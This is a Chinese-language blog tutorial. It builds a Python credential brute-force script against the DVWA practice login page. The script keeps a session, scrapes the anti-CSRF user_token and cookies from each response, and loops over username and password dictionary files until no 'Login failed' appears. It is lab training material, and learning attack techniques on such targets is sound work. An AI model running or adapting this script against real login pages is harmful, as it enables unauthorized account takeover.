现在很的在编写脚本的时候没有灵感,但是我是不一样的,我对代码创造方面想象力丰富,这是我最大的特点,下面我闲着没事就随便写了一个,非常简单的一个脚本

实验环境DVWA登录页面

image-20210817105607225

手动测试他的登录机制

可以用burp进行抓包查看他的请求和响应

下面这个是他的首次请求的内容,请求数据包

image-20210817110050593

第二次请求的时候发现他都有Cookie了

image-20210817110332978

发现这个Cookie是第一次请求的时候他返回给客户端的,说明是服务器给的Cookie,基本上都是服务器给的

image-20210817110545865

手动登录查看一下请求,发现有一个给登录着的随机数,如果随机数不正确的话,肯定是登录不了的

image-20210817110909356

找随机数的来源,发现他是上一次请求响应的时候服务器给的

image-20210817111225514

脚步的编写

获取登录的Cookie

用python的会话维持,获得Cookie,不要会话维持就像两个浏览器访问一样到下次Cookie是不一样的

1
2
3
4
5
6
7
8
9
10
11
12
import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')

# cookies方法输出获取请求后的cookies信息 用items()方法将其转化为元组组成的列表
getcookies = ask.cookies.items()

# 输出cookies
print(getcookies)

结果

1
[('PHPSESSID', 'b8lt4lvnr71cdosi1280vdceu4'), ('security', 'low')]

我们可以用指定输出列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests


# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')

# 用items()方法将其转化为元组组成的列表
getcookies = ask.cookies.items()

# 输出cookies
print(getcookies[0][0])
print(getcookies[0][1])
print(getcookies[1][0])
print(getcookies[1][1])

结果,可以看见cookies获取到了

1
2
3
4
PHPSESSID
omhihkt4k2iae7ujgbl1q0dht6
security
low

image-20210817113306875

获得随机数

应为随机数是在请求的响应的数据比分里面只能用正则表达式来获取

正则表达式写错\w{32}就可以匹配到了,他的意思是字母数字及下划线有连续的32个

image-20210817120046312

代码这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import re
import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')

# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('\w{32}',ask.text)

# 输出
print(x[0])

结果

1
44c9b688a6d79d94727744f97e2108c0

POST请求模拟登录

上面的cookies和随机数都已经得到了就可以破解了

我们就可以编写一个post请求

查看他的请求内容

image-20210817184829997

post请求数据部分就可以下面这样写

1
2
3
4
5
6
data={
'username':'xxxx', #用户名的地方
'password':'xxxx', #用户密码的地方
'Login':'login',
'user_token':x[0] # 随机数
}

全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import re
import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.192.58/login.php')


# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('\w{32}',ask.text)

data={
'username':'admin', #用户名的地方
'password':'password', #用户密码的地方
'Login':'login',
'user_token':x[0] # 随机数
}

# 用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()



# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]

# 创建请求头
headers = {
'Cookie':Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}
# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)

判断登录是否成功

在登录失败的时候他会返还Login failed

image-20210817183300074

我们就可以通过判断有没有Login failed来实现

代码

1
2
3
4
5
6
7
8
9
# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)

# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:
print('登录成功')
else:
print('破解失败')

全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import re
import requests

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.192.58/login.php')


# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('\w{32}',ask.text)

data={
'username':'admin', #用户名的地方
'password':'password', #用户密码的地方
'Login':'login',
'user_token':x[0] # 随机数
}

# 用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()



# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]

# 创建请求头
headers = {
'Cookie':Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}

# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)

# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)

# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:
print('登录成功') # 内容没有Login failed就是登录成功了
else:
print('破解失败') # 有就是登录失败了

测试

输入正确的密码

image-20210817191358387

输入错误密码,他就登录失败了说明没有问题

image-20210817191452482

字典破解

这个就是文件的读取进行破解就没有什么好说的了

他的文件

image-20210818214133596
文件内容

image-20210818214211415

破解代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import re
import requests

# 打开用户字典 errors="ignore"参数是忽略在读取的错误,应为想0xf1这样的就会报错
admin_txt=open("admin.txt",'r',errors="ignore")

def Crack(admin_txt):

# 用于记录破解次数
count = 0

# 用户一行一行获取文件的内容
for admin in admin_txt: # 这个循环一次

# 打开密码字典 errors="ignore"参数是忽略在读取的错误,应为想0xf1这样的就会报错
password_txt = open("password.txt", 'r', errors="ignore")

# 密码一行一行获取文件的内容
for password in password_txt: # 这个要叫文件内容循环完

# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.31.122/login.php')


# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('\w{32}',ask.text)

data={
# 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
'username':admin.rstrip(), #字典的用户名
'password':password.rstrip(), #字典的用户密码
'Login':'login',
'user_token':x[0] # 随机数
}

# 用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()



# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]

# 创建请求头
headers = {
'Cookie':Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}

# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.31.122/login.php',headers=headers,data=data)

# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)

# 用来计数
count += 1

# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:

# 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
print(str(count)+'破解成功:用户名'+admin.rstrip()+'密码'+password.rstrip())

# 关闭文件
admin_txt.close()
password_txt.close()
return
else:
# 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
print(str(count)+admin.rstrip()+password.rstrip())

# 关闭文件
password_txt.close()

# 调用函数
Crack(admin_txt)

结果

image-20210818214248118